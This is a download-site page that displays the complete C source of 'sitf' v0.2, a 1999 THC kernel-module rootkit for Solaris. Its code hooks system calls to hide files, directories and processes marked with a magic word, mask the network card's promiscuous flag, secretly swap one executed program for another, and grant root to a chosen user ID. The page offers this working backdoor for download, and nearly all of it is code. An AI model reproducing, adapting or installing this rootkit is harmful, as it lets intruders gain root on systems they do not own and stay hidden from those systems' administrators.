⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 sitf0.2.c

📁 Linux backdoor source code
💻 C
字号:
/* * sitf.c v0.2 * Solaris Integrated Trojan Facility for Solaris 2.6-2.7 (sparc/x86) * (c) 1999 by Plasmoid/THC <plasmoid@pimmel.com> * [THC] The Hacker's Choice - http://thc.pimmel.com * * Improvements by Horizon and Acpizer.  * * Module features: - File hiding *                  - File content and directory hiding *                  - Switch to toggle file content and directory hiding *                  - Process hiding (structured proc) *                  - Promiscous flag hiding *                  - Converting magic uid to root uid *                  - Execution redirecting *       * A documentation of the modules functions can be found in the corresponding * THC article at http://thc.pimmel.com/files/thc/slkm-1.0.html * *    Solaris Loadable Kernel Modules v1.0 *    "Attacking Solaris with lodable kernel modules" *    by Plasmoid/THC *  */#include <sys/systm.h>#include <sys/ddi.h>#include <sys/sunddi.h>#include <sys/syscall.h>#include <sys/types.h>#include <sys/dirent.h>#include <sys/proc.h>#include <sys/procfs.h>#include <sys/sockio.h>#include <sys/socket.h>#include <sys/kmem.h>#include <sys/errno.h>#include <net/if.h>#include <fcntl.h>#include <unistd.h>/* * Customize your module here: * MAGIC: this string is called the magic word, files and processes containing *        the magic word won't be displayed. directories containing the magic *        word cannot be entered if the security flag is set. if the security *        flag is set, the file content will also be hidden. * KEY:   this is you key to enable and disable the security flag by using the *        touch command. e.g. $ touch mykey * OLDCMD & NEWCMD: if the command OLDCMD (exact path) is executed, NEWCMD *                  will be excuted instead. * UID:   if a user logins in and his id is UID he will be automatically get *        the superuser id. */#define MAGIC   "blah"#define KEY	"mykey"#define OLDCMD  "/bin/who"#define NEWCMD  "/usr/openwin/bin/xview/xcalc"#define UID     1001/* * This is just a little definition to make the code better readable */#define	TRUE	1#define FALSE	0/* * This is the loadable module wrapper. */#include <sys/modctl.h>extern struct mod_ops mod_miscops;/* * Structure of the system-entry table. */extern struct sysent sysent[];int (*oldexecve) (const char *, const char *[], const char *[]);int (*oldsetuid) (uid_t);int (*oldgetdents64) (int, struct dirent64 *, size_t);int (*oldopen64) (const char *path, int oflag, mode_t mode);int (*oldchdir) (const char *path);int (*oldcreat64) (const char *path, mode_t mode);int (*oldioctl) (int fildes, int request, unsigned long arg);char magic[] = MAGIC;char key[] = KEY;char oldcmd[] = OLDCMD;char newcmd[] = NEWCMD;int security = TRUE;int promisc = FALSE;/* * Check_process() checks if the given pid is a valid process id and if the * ps arguments contain the magic word. ps arguments are argv[], in other * words the executed filename and all its arguments */int check_process(pid_t pid){    proc_t *proc;    char *psargs;    int ret;    proc = (proc_t *) prfind(pid);    psargs = (char *) kmem_alloc(PSARGSZ, KM_SLEEP);    if (proc != NULL)	memcpy(psargs, PTOU(proc)->u_psargs, PSARGSZ);    else	return FALSE;    if (strstr(psargs, (char *) &magic) != NULL)	ret = TRUE;    else	ret = FALSE;    kmem_free(psargs, PSARGSZ);    return ret;}/* * This function checks if the given filename is a process and if its * ps arguments (see above) contain the magic string. */int check_for_process(char *filename){    if (sitf_isdigit(filename) && check_process(sitf_atoi(filename)))	return TRUE;    else	return FALSE;}/* * This functions checks if the given string is a decimal number, this * function could be replaced by atoi, if this weren't a kernel module */int sitf_isdigit(char *str){    int i, ret;    ret = TRUE;    for (i = 0; ret && i < strlen(str); i++)	if (str[i] < '0' || str[i] > '9')	    ret = FALSE;    return ret;}/* * small atoi replacement taken from plaguez itf.c, hope he took this code * from a reliable source. */int sitf_atoi(char *str){    int res = 0;    int mul = 1;    char *ptr;    for (ptr = str + strlen(str) - 1; ptr >= str; ptr--) {	if (*ptr < '0' || *ptr > '9')	    return (-1);	res += (*ptr - '0') * mul;	mul *= 10;    }    return res;}/* * The promiscous flag will only be hidden the first time it is changed,  * if the admin would run a sniffer, he wouldn't detect any unusual things. */int newioctl(int fildes, int request, unsigned long arg){    int ret;    struct ifreq ifr;    ret = oldioctl(fildes, request, arg);    if (request == SIOCGIFFLAGS && !promisc) {#ifdef DEBUG	cmn_err(CE_NOTE, "sitf: hiding promisc flag on interface");#endif	copyin((struct ifreq *) arg, (struct ifreq *) &ifr, sizeof(struct ifreq));	ifr.ifr_flags = ifr.ifr_flags & (~IFF_PROMISC);	copyout((struct ifreq *) &ifr, (struct ifreq *) arg, sizeof(struct ifreq));    } else if (request == SIOCSIFFLAGS) {	copyin((struct ifreq *) arg, (struct ifreq *) &ifr, sizeof(struct ifreq));	if (ifr.ifr_flags & IFF_PROMISC)	    promisc = TRUE;	else if (!(ifr.ifr_flags & IFF_PROMISC))	    promisc = FALSE;    }    return ret;}/* * The creat64() syscall is used by the touch command, I use this command * as a switch in order to enable/disable file content and directory hiding. * The command "touch <key>" where the key is definied in KEY will toggle * the switch */int newcreat64(const char *path, mode_t mode){    char namebuf[1028];    int len;    copyinstr(path, namebuf, 1028, (size_t *) & len);    if (strstr(namebuf, (char *) &key) != NULL) {	if (security) {#ifdef DEBUG	    cmn_err(CE_NOTE, "sitf: disabeling security");#endif	    security = FALSE;	} else {#ifdef DEBUG	    cmn_err(CE_NOTE, "sitf: enabeling security");#endif	    security = TRUE;	}	set_errno(ENFILE);	return -1;    } else	return oldcreat64(path, mode);}/* * If the security feature is enabled (see above), this syscall will avoid * entering directories that contain the magic word in their name. * Security switch: see newcreat64() function. */int newchdir(const char *path){    char namebuf[1028];    int len;    copyinstr(path, namebuf, 1028, (size_t *) & len);    if (security && strstr(namebuf, (char *) &magic) != NULL) {#ifdef DEBUG	cmn_err(CE_NOTE, "sitf: hiding directory (%s)", namebuf);#endif	set_errno(ENOENT);	return -1;    } else	return oldchdir(path);}/* * If the security feature is enabled (see above), this syscall will avoid * reading the content of files containing the magic word in their name. * Security switch: see newcreat64() function. */int newopen64(const char *path, int oflag, mode_t mode){    int ret;    int len;    char namebuf[1028];    ret = oldopen64(path, oflag, mode);    if (ret >= 0) {	copyinstr(path, namebuf, 1028, (size_t *) & len);	if (security && strstr(namebuf, (char *) &magic) != NULL) {#ifdef DEBUG	    cmn_err(CE_NOTE, "sitf: hiding content of file (%s)", namebuf);#endif	    set_errno(ENOENT);	    return -1;	}	return ret;    }}/* * This function has been recoded from the original source of itf.c * by plaguez. It does not work properly with files containing the * magic string more than once. Don`t play with it, files containing * more than one magic string definitely cause crashes, this bug is * even present in the original code. * This might sound like a bug, but I don't care, I never came to  * the situation renaming a file containing the magic word more * than once.  */int newgetdents64(int fildes, struct dirent64 *buf, size_t nbyte){    int ret, oldret, i, reclen;    struct dirent64 *buf2, *buf3;    oldret = (*oldgetdents64) (fildes, buf, nbyte);    ret = oldret;    if (ret > 0) {	buf2 = (struct dirent64 *) kmem_alloc(ret, KM_SLEEP);	copyin((char *) buf, (char *) buf2, ret);	buf3 = buf2;	i = ret;	while (i > 0) {	    reclen = buf3->d_reclen;	    i -= reclen;	    if ((strstr((char *) &(buf3->d_name), (char *) &magic) != NULL) ||		check_for_process((char *) &(buf3->d_name))) {#ifdef DEBUG		cmn_err(CE_NOTE, "sitf: hiding file/process (%s)", buf3->d_name);#endif		if (i != 0)		    memmove(buf3, (char *) buf3 + buf3->d_reclen, i);		else		    buf3->d_off = 1024;		ret -= reclen;	    }	    if (buf3->d_reclen < 1) {		ret -= i;		i = 0;	    }	    if (i != 0)		buf3 = (struct dirent64 *) ((char *) buf3 + buf3->d_reclen);	}	copyout((char *) buf2, (char *) buf, ret);	kmem_free(buf2, oldret);    }    return ret;}/* * This is a simple execve() redirection, the nasty trick is that I don't * care about userspace and simply override the filename[] in the userspace * with the new file to execute. This is dirty, stupid and braindead, I * know, but excessive tested have proved this to work.  * Watch for the next version of this release, I am planning to allocate * the needed userspace. */int newexecve(const char *filename, const char *argv[], const char *envp[]){    int ret;    char *name;    unsigned long addr;    name = (char *) kmem_alloc(256, KM_SLEEP);    copyin(filename, name, 256);    if (!strcmp(name, (char *) oldcmd)) {	copyout((char *) newcmd, (char *) filename, strlen(newcmd) + 1);#ifdef DEBUG	cmn_err(CE_NOTE, "sitf: executing %s instead of %s", newcmd, name);#endif    }    kmem_free(name, 256);    return oldexecve(filename, argv, envp);}/* * This is a simple function, when a uid is set to the magic uid, the syscall * will set the uid to the root uid. */int newsetuid(uid_t uid){    if (uid == UID) {#ifdef DEBUG	cmn_err(CE_NOTE, "sitf: setting uid(%d) to uid(0)", uid);#endif	seteuid(0);	setgid(0);	setegid(0);	return oldsetuid(0);    }    return oldsetuid(uid);}/* * Module linkage information for the kernel. */static struct modlmisc modlmisc ={    &mod_miscops,#ifdef DEBUG    "Solaris ITF",#else    ""#endif};static struct modlinkage modlinkage ={    MODREV_1,    (void *) &modlmisc,    NULL};int _init(void){    int i;    if ((i = mod_install(&modlinkage)) != 0)	cmn_err(CE_NOTE, "Could not install module\n");#ifdef DEBUG    else	cmn_err(CE_NOTE, "sitf: successfully installed");#endif    oldexecve = (void *) sysent[SYS_execve].sy_callc;    oldsetuid = (void *) sysent[SYS_setuid].sy_callc;    oldgetdents64 = (void *) sysent[SYS_getdents64].sy_callc;    oldopen64 = (void *) sysent[SYS_open64].sy_callc;    oldchdir = (void *) sysent[SYS_chdir].sy_callc;    oldcreat64 = (void *) sysent[SYS_creat64].sy_callc;    oldioctl = (void *) sysent[SYS_ioctl].sy_callc;    sysent[SYS_execve].sy_callc = (void *) newexecve;    sysent[SYS_setuid].sy_callc = (void *) newsetuid;    sysent[SYS_getdents64].sy_callc = (void *) newgetdents64;    sysent[SYS_open64].sy_callc = (void *) newopen64;    sysent[SYS_chdir].sy_callc = (void *) newchdir;    sysent[SYS_creat64].sy_callc = (void *) newcreat64;    sysent[SYS_ioctl].sy_callc = (void *) newioctl;    return i;}int _info(struct modinfo *modinfop){    return (mod_info(&modlinkage, modinfop));}int _fini(void){    int i;    if ((i = mod_remove(&modlinkage)) != 0)	cmn_err(CE_NOTE, "Could not remove module\n");#ifdef DEBUG    else	cmn_err(CE_NOTE, "sitf: successfully removed");#endif    sysent[SYS_execve].sy_callc = (void *) oldexecve;    sysent[SYS_setuid].sy_callc = (void *) oldsetuid;    sysent[SYS_getdents64].sy_callc = (void *) oldgetdents64;    sysent[SYS_open64].sy_callc = (void *) oldopen64;    sysent[SYS_chdir].sy_callc = (void *) oldchdir;    sysent[SYS_creat64].sy_callc = (void *) oldcreat64;    sysent[SYS_ioctl].sy_callc = (void *) oldioctl;    return i;}

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -